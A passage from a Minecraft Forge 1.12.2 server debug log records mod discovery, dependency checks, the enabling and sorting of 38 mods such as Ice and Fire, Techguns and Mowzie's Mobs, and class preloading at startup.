rftools, botania, redstonearsenal, abyssalcraft, betterwithmods, thaumcraft] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file SpartanWeaponry-1.12.2-beta-1.3.8.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file SpartanWeaponry-1.12.2-beta-1.3.8.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.oblivioussp.spartanweaponry.ModSpartanWeaponry) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for spartanweaponry: Requirements: [] After:[] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file TeamUp-1.1.3-1.12.0.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file TeamUp-1.1.3-1.12.0.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.ewyboy.teamup.TeamUp) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for teamup: Requirements: [] After:[] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file techguns-1.12.2-2.0.2.0_pre3.1.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file techguns-1.12.2-2.0.2.0_pre3.1.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (techguns.Techguns) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for techguns: Requirements: [forge@[14.23.5.2807,)] After:[ftblib, chisel, patchouli] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file torohealth-1.12.2-11.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file torohealth-1.12.2-11.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (net.torocraft.torohealthmod.ToroHealthMod) - loading [14:28:00] [Server thread/INFO] [FML]: Disabling mod torohealthmod it is client side only. [14:28:00] [Server thread/DEBUG] [FML]: Skipping mod net.torocraft.torohealthmod.ToroHealthMod, container opted to not load. [14:28:00] [Server thread/DEBUG] [FML]: Examining file ultimate_unicorn_mod-1.12.2-1.5.16.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file ultimate_unicorn_mod-1.12.2-1.5.16.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (com.hackshop.ultimate_unicorn.UltimateUnicornMod) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for ultimate_unicorn_mod: Requirements: [] After:[] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Attempting to load the file version.properties from ultimate_unicorn_mod-1.12.2-1.5.16.jar to locate a version number for mod ultimate_unicorn_mod [14:28:00] [Server thread/WARN] [FML]: Mod ultimate_unicorn_mod is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.5.16 [14:28:00] [Server thread/DEBUG] [FML]: Examining file wings-1.1.6-1.12.2.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file wings-1.1.6-1.12.2.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lme/paulf/wings/server/asm/plugin/Integration; (me.paulf.wings.server.integration.MowziesMobsIntegration) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for mowzies_wings: Requirements: [wings] After:[wings, mowziesmobs] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lme/paulf/wings/server/asm/plugin/Integration; (me.paulf.wings.server.integration.WingsBaublesIntegration) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for bauble_wings: Requirements: [wings] After:[wings, baubles@[1.5,1.6)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lme/paulf/wings/server/asm/plugin/Integration; (me.paulf.wings.server.integration.WingsMoBendsIntegration) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for mobends_wings: Requirements: [wings] After:[wings, mobends@[0.24,0.25)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (me.paulf.wings.WingsMod) - loading [14:28:00] [Server thread/TRACE] [FML]: Using mcmod dependency info for wings: [forge@[14.23.5.2816,), llibrary@[1.7,1.8)] [forge@[14.23.5.2816,), llibrary@[1.7,1.8), jei@[4.8,5)] [] [14:28:00] [Server thread/DEBUG] [FML]: Attempting to load the file version.properties from wings-1.1.6-1.12.2.jar to locate a version number for mod wings [14:28:00] [Server thread/WARN] [FML]: Mod wings is missing the required element 'version' and a version.properties file could not be found. Falling back to metadata version 1.1.6 [14:28:00] [Server thread/DEBUG] [FML]: Examining file zawa-1.12.2-1.7.0.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file zawa-1.12.2-1.7.0.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (org.zawamod.ZAWAMain) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for zawa: Requirements: [bookworm@[1.12.2-2.2.0,)] After:[bookworm@[1.12.2-2.2.0,)] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file claimitapi-1.12.2-1.2.0.jar for potential mods [14:28:00] [Server thread/DEBUG] [FML]: The mod container claimitapi-1.12.2-1.2.0.jar appears to be missing an mcmod.info file [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (its_meow.claimit.api.ClaimItAPI) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for claimitapi: Requirements: [] After:[] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file claimit-1.12.2-1.2.0.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file claimit-1.12.2-1.2.0.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (its_meow.claimit.ClaimIt) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for claimit: Requirements: [claimitapi@[1.12.2-1.2.0,1.12.2-1.2.0]] After:[claimitapi@[1.12.2-1.2.0,1.12.2-1.2.0]] Before:[] [14:28:00] [Server thread/DEBUG] [FML]: Examining file llibrary-1.7.19-1.12.2.jar for potential mods [14:28:00] [Server thread/TRACE] [FML]: Located mcmod.info file in file llibrary-1.7.19-1.12.2.jar [14:28:00] [Server thread/DEBUG] [FML]: Identified a mod of type Lnet/minecraftforge/fml/common/Mod; (net.ilexiconn.llibrary.LLibrary) - loading [14:28:00] [Server thread/TRACE] [FML]: Parsed dependency info for llibrary: Requirements: [forge@[14.23.5.2772,)] After:[forge@[14.23.5.2772,)] Before:[] [14:28:00] [Server thread/INFO] [FML]: Forge Mod Loader has identified 38 mods to load [14:28:00] [Server thread/DEBUG] [FML]: Found API mezz.jei.api (owned by jei providing JustEnoughItemsAPI) embedded in jei [14:28:00] [Server thread/DEBUG] [FML]: Found API me.ichun.mods.ichunutil.api (owned by iChun providing iChunUtil API) embedded in ichunutil [14:28:00] [Server thread/DEBUG] [FML]: Found API com.oblivioussp.spartanweaponry.api (owned by spartanweaponry providing spartanweaponry_api) embedded in spartanweaponry [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API ctm-api-models: owner: ctm, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API ctm-api-textures: owner: ctm, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API iChunUtil API: owner: iChun, dependents: [ichunutil] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API jeresources|API: owner: jeresources, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API spartanweaponry_api: owner: spartanweaponry, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API JustEnoughItemsAPI: owner: jei, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API ctm-api-events: owner: ctm, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API ctm-api: owner: ctm, dependents: [] [14:28:00] [Server thread/DEBUG] [FML]: Creating API container dummy for API ctm-api-utils: owner: ctm, dependents: [] [14:28:00] [Server thread/TRACE] [FML]: Received a system property request '' [14:28:00] [Server thread/TRACE] [FML]: System property request managing the state of 0 mods [14:28:00] [Server thread/DEBUG] [FML]: After merging, found state information for 0 mods [14:28:00] [Server thread/WARN] [FML]: Missing English translation for FML: assets/fml/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod animania [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod betteranimalsplus [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod bookworm [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod colorchat [14:28:00] [Server thread/WARN] [FML]: Missing English translation for colorchat: assets/colorchat/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod craftstudioapi [14:28:00] [Server thread/WARN] [FML]: Missing English translation for craftstudioapi: assets/craftstudioapi/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod cw [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod dragonmounts [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod extragems [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod horse_colors [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod iceandfire [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod ichunutil [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod imsm [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod jei [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod k4lib [14:28:00] [Server thread/WARN] [FML]: Missing English translation for k4lib: assets/k4lib/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod landmanager [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod malisiscore [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod malisisdoors [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod mowziesmobs [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod sereneseasons [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod spartanfire [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod spartanshields [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod spartanweaponry [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod teamup [14:28:00] [Server thread/WARN] [FML]: Missing English translation for teamup: assets/teamup/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod techguns [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod ultimate_unicorn_mod [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod mowzies_wings [14:28:00] [Server thread/WARN] [FML]: Missing English translation for mowzies_wings: assets/mowzies_wings/lang/en_us.lang [14:28:00] [Server thread/WARN] [FML]: Mod bauble_wings has been disabled through configuration [14:28:00] [Server thread/WARN] [FML]: Mod mobends_wings has been disabled through configuration [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod wings [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod zawa [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod claimitapi [14:28:00] [Server thread/WARN] [FML]: Missing English translation for claimitapi: assets/claimitapi/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod claimit [14:28:00] [Server thread/WARN] [FML]: Missing English translation for claimit: assets/claimit/lang/en_us.lang [14:28:00] [Server thread/DEBUG] [FML]: Enabling mod llibrary [14:28:00] [Server thread/TRACE] [FML]: Verifying mod requirements are satisfied [14:28:00] [Server thread/TRACE] [FML]: All mod requirements are satisfied [14:28:00] [Server thread/TRACE] [FML]: Sorting mods into an ordered list [14:28:00] [Server thread/TRACE] [FML]: Mod sorting completed successfully [14:28:00] [Server thread/DEBUG] [FML]: Mod sorting data [14:28:00] [Server thread/DEBUG] [FML]: craftstudioapi(CraftStudio API:1.0.0): CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar () [14:28:00] [Server thread/DEBUG] [FML]: animania(Animania:1.7.3): animania-1.12.2-1.7.3.jar (required-after:craftstudioapi;after:cofhcore;after:harvestcraft;after:natura;after:botania;after:biomesoplenty;after:twilightforest;after:aroma1997sdimension;after:openterraingenerator;before:thermalexpansion;required-after:forge@[14.23.5.2779,)) [14:28:00] [Server thread/DEBUG] [FML]: betteranimalsplus(Better Animals Plus:8.0.0): betteranimalsplus-1.12.2-8.0.0.jar () [14:28:00] [Server thread/DEBUG] [FML]: bookworm(Bookworm API:1.12.2-2.3.0): bookworm-1.12.2-2.3.0.jar () [14:28:00] [Server thread/DEBUG] [FML]: k4lib(K4Lib:1.12.1-2.1.81): k4lib-1.12.1-2.1.81-universal.jar () [14:28:00] [Server thread/DEBUG] [FML]: colorchat(ColorChat:1.12.1-2.0.43): colorchat-1.12.1-2.0.43-universal.jar (required-after:k4lib) [14:28:00] [Server thread/DEBUG] [FML]: cw(Creature Wisperer:1.0.2): creature_whisperer_1.0.2.jar () [14:28:00] [Server thread/DEBUG] [FML]: dragonmounts(Dragon Mounts:1.12.2-1.6.3): DragonMounts2-1.12.2-1.6.3.jar () [14:28:00] [Server thread/DEBUG] [FML]: extragems(ExtraGems:1.2.8): ExtraGems-1.12.2-(v.1.2.8).jar () [14:28:00] [Server thread/DEBUG] [FML]: horse_colors(Realistic Horse Genetics:1.12.2-1.0.2): horse_colors-1.12.2-1.0.2.jar () [14:28:00] [Server thread/DEBUG] [FML]: llibrary(LLibrary:1.7.19): llibrary-1.7.19-1.12.2.jar (required-after:forge@[14.23.5.2772,)) [14:28:00] [Server thread/DEBUG] [FML]: iceandfire(Ice and Fire:1.8.3): iceandfire-1.8.3.jar () [14:28:00] [Server thread/DEBUG] [FML]: iChunUtil API(API: iChunUtil API:1.2.0): iChunUtil-1.12.2-7.2.2.jar () [14:28:00] [Server thread/DEBUG] [FML]: ichunutil(iChunUtil:7.2.2): iChunUtil-1.12.2-7.2.2.jar (required-after:forge@[14.23.5.2781,99999.24.0.0)) [14:28:00] [Server thread/DEBUG] [FML]: imsm(Instant Massive Structures Mod:1.12): Instant Massive Structures Mod 1.12.2.jar () [14:28:00] [Server thread/DEBUG] [FML]: jei(Just Enough Items:4.15.0.292): jei_1.12.2-4.15.0.292.jar (required-after:forge@[14.23.5.2816,);) [14:28:00] [Server thread/DEBUG] [FML]: landmanager(Land Manager:1.4.0): landmanager-1.12.2-1.4.0.jar () [14:28:00] [Server thread/DEBUG] [FML]: malisiscore(MalisisCore:1.12.2-6.5.1-SNAPSHOT): malisiscore-1.12.2-6.5.1.jar () [14:28:00] [Server thread/DEBUG] [FML]: malisisdoors(MalisisDoors:1.12.2-7.3.0): malisisdoors-1.12.2-7.3.0.jar (required-after:malisiscore) [14:28:00] [Server thread/DEBUG] [FML]: mowziesmobs(Mowzie's Mobs:1.5.4): mowziesmobs-1.5.4.jar (required-after:llibrary@[1.7.9,)) [14:28:00] [Server thread/DEBUG] [FML]: sereneseasons(Serene Seasons:1.2.18): SereneSeasons-1.12.2-1.2.18-universal.jar (required-after:forge@[14.23.5.2768,)) [14:28:00] [Server thread/DEBUG] [FML]: spartanweaponry(Spartan Weaponry:beta 1.3.8): SpartanWeaponry-1.12.2-beta-1.3.8.jar () [14:28:00] [Server thread/DEBUG] [FML]: spartanfire(Spartan Fire:0.07): spartanfire-0.07.jar (required-after:iceandfire;required-after:spartanweaponry@[beta 1.3.0,);required-after:llibrary@[1.7.19,)) [14:28:00] [Server thread/DEBUG] [FML]: spartanshields(Spartan Shields:1.5.4): SpartanShields-1.12.2-1.5.4.jar (after:redstoneflux;after:enderio;after:rftools;after:botania;after:redstonearsenal;after:abyssalcraft;after:betterwithmods;after:thaumcraft) [14:28:00] [Server thread/DEBUG] [FML]: teamup(Team Up:1.1.3-1.12.0): TeamUp-1.1.3-1.12.0.jar () [14:28:00] [Server thread/DEBUG] [FML]: techguns(Techguns:2.0.2.0): techguns-1.12.2-2.0.2.0_pre3.1.jar (required:forge@[14.23.5.2807,);after:ftblib;after:chisel;after:patchouli) [14:28:00] [Server thread/DEBUG] [FML]: ultimate_unicorn_mod(Wings, Horns, and Hooves, the Ultimate Unicorn Mod!:1.5.16): ultimate_unicorn_mod-1.12.2-1.5.16.jar () [14:28:00] [Server thread/DEBUG] [FML]: wings(Wings:1.1.6): wings-1.1.6-1.12.2.jar () [14:28:00] [Server thread/DEBUG] [FML]: mowzies_wings(Mowzie's Wings:1.0.0): wings-1.1.6-1.12.2.jar (required-after:wings;after:mowziesmobs) [14:28:00] [Server thread/DEBUG] [FML]: zawa(Zoo and Wild Animals Mod: Rebuilt:1.12.2-1.7.0): zawa-1.12.2-1.7.0.jar (required-after:bookworm@[1.12.2-2.2.0,);) [14:28:00] [Server thread/DEBUG] [FML]: claimitapi(ClaimIt API:1.12.2-1.2.0): claimitapi-1.12.2-1.2.0.jar () [14:28:00] [Server thread/DEBUG] [FML]: claimit(ClaimIt:1.12.2-1.2.0): claimit-1.12.2-1.2.0.jar (after-required:claimitapi@[1.12.2-1.2.0]) [14:28:00] [Server thread/DEBUG] [FML]: ctm-api-models(API: ctm-api-models:0.1.0): CTM-MC1.12.2-1.0.1.30.jar () [14:28:00] [Server thread/DEBUG] [FML]: ctm-api-textures(API: ctm-api-textures:0.1.0): CTM-MC1.12.2-1.0.1.30.jar () [14:28:00] [Server thread/DEBUG] [FML]: jeresources|API(API: jeresources|API:0.9.2.60): JustEnoughResources-1.12.2-0.9.2.60.jar () [14:28:00] [Server thread/DEBUG] [FML]: spartanweaponry_api(API: spartanweaponry_api:5): SpartanWeaponry-1.12.2-beta-1.3.8.jar () [14:28:00] [Server thread/DEBUG] [FML]: JustEnoughItemsAPI(API: JustEnoughItemsAPI:4.13.0): jei_1.12.2-4.15.0.292.jar () [14:28:00] [Server thread/DEBUG] [FML]: ctm-api-events(API: ctm-api-events:0.1.0): CTM-MC1.12.2-1.0.1.30.jar () [14:28:00] [Server thread/DEBUG] [FML]: ctm-api(API: ctm-api:0.1.0): CTM-MC1.12.2-1.0.1.30.jar () [14:28:00] [Server thread/DEBUG] [FML]: ctm-api-utils(API: ctm-api-utils:0.1.0): CTM-MC1.12.2-1.0.1.30.jar () [14:28:00] [Server thread/INFO] [FML]: FML has found a non-mod file BackTools-1.12.2-7.0.1.jar in your mods directory. It will now be injected into your classpath. This could severe stability issues, it should be removed if possible. [14:28:00] [Server thread/INFO] [FML]: FML has found a non-mod file CTM-MC1.12.2-1.0.1.30.jar in your mods directory. It will now be injected into your classpath. This could severe stability issues, it should be removed if possible. [14:28:00] [Server thread/INFO] [FML]: FML has found a non-mod file JustEnoughResources-1.12.2-0.9.2.60.jar in your mods directory. It will now be injected into your classpath. This could severe stability issues, it should be removed if possible. [14:28:00] [Server thread/INFO] [FML]: FML has found a non-mod file torohealth-1.12.2-11.jar in your mods directory. It will now be injected into your classpath. This could severe stability issues, it should be removed if possible. [14:28:00] [Server thread/DEBUG] [FML]: Loading @Config anotation data [14:28:00] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod minecraft [14:28:00] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod minecraft [14:28:00] [Server thread/DEBUG] [FML]: Bar Step: Construction - Minecraft took 0.002s [14:28:00] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod mcp [14:28:00] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod mcp [14:28:00] [Server thread/DEBUG] [FML]: Bar Step: Construction - Minecraft Coder Pack took 0.001s [14:28:00] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod FML [14:28:01] [Server thread/TRACE] [FML]: Mod FML is using network checker : Invoking method checkModLists [14:28:01] [Server thread/TRACE] [FML]: Testing mod FML to verify it accepts its own version in a remote connection [14:28:01] [Server thread/TRACE] [FML]: The mod FML accepts its own version (8.0.99.99) [14:28:01] [Server thread/INFO] [FML]: Attempting connection with missing mods [minecraft, mcp, FML, forge, techguns_core, animania, betteranimalsplus, bookworm, colorchat, craftstudioapi, cw, dragonmounts, extragems, horse_colors, iceandfire, ichunutil, imsm, jei, k4lib, landmanager, malisiscore, malisisdoors, mowziesmobs, sereneseasons, spartanfire, spartanshields, spartanweaponry, teamup, techguns, ultimate_unicorn_mod, mowzies_wings, wings, zawa, claimitapi, claimit, llibrary] at CLIENT [14:28:01] [Server thread/INFO] [FML]: Attempting connection with missing mods [minecraft, mcp, FML, forge, techguns_core, animania, betteranimalsplus, bookworm, colorchat, craftstudioapi, cw, dragonmounts, extragems, horse_colors, iceandfire, ichunutil, imsm, jei, k4lib, landmanager, malisiscore, malisisdoors, mowziesmobs, sereneseasons, spartanfire, spartanshields, spartanweaponry, teamup, techguns, ultimate_unicorn_mod, mowzies_wings, wings, zawa, claimitapi, claimit, llibrary] at SERVER [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod FML [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Forge Mod Loader took 1.092s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod forge [14:28:02] [Server thread/DEBUG] [forge]: Loading Vanilla annotations: sun.net.www.protocol.jar.JarURLConnection$JarURLInputStream@c338668 [14:28:02] [Server thread/DEBUG] [forge]: Preloading CrashReport Classes [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$10 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$11 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$12 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$13 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$14 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$6 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$7 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$8 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$9 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/multiplayer/WorldClient$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/multiplayer/WorldClient$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/multiplayer/WorldClient$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/multiplayer/WorldClient$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/particle/ParticleManager$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/particle/ParticleManager$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/particle/ParticleManager$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/particle/ParticleManager$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/EntityRenderer$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/EntityRenderer$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/EntityRenderer$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/RenderGlobal$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/RenderItem$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/RenderItem$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/RenderItem$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/RenderItem$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/texture/TextureAtlasSprite$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/texture/TextureManager$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/texture/TextureMap$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/texture/TextureMap$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/texture/TextureMap$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$6 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$7 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReportCategory$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReportCategory$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReportCategory$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReportCategory$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReportCategory$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/Entity$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/Entity$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/Entity$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/Entity$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/EntityTracker$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/player/InventoryPlayer$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/nbt/NBTTagCompound$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/nbt/NBTTagCompound$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/network/NetHandlerPlayServer$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/network/NetworkSystem$6 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/MinecraftServer$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/MinecraftServer$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/dedicated/DedicatedServer$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/dedicated/DedicatedServer$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/integrated/IntegratedServer$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/integrated/IntegratedServer$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/tileentity/CommandBlockBaseLogic$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/tileentity/CommandBlockBaseLogic$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/tileentity/TileEntity$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/tileentity/TileEntity$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/tileentity/TileEntity$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/World$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/World$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/World$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/World$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/World$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/chunk/Chunk$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/gen/structure/MapGenStructure$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/gen/structure/MapGenStructure$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/gen/structure/MapGenStructure$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$10 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$6 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$7 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$8 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$9 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/common/util/TextTable [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/common/util/TextTable$Alignment [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/common/util/TextTable$Column [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/common/util/TextTable$Row [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/client/SplashProgress$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/client/SplashProgress$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/common/FMLCommonHandler$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/common/FMLCommonHandler$1 [14:28:02] [Server thread/DEBUG] [forge]: 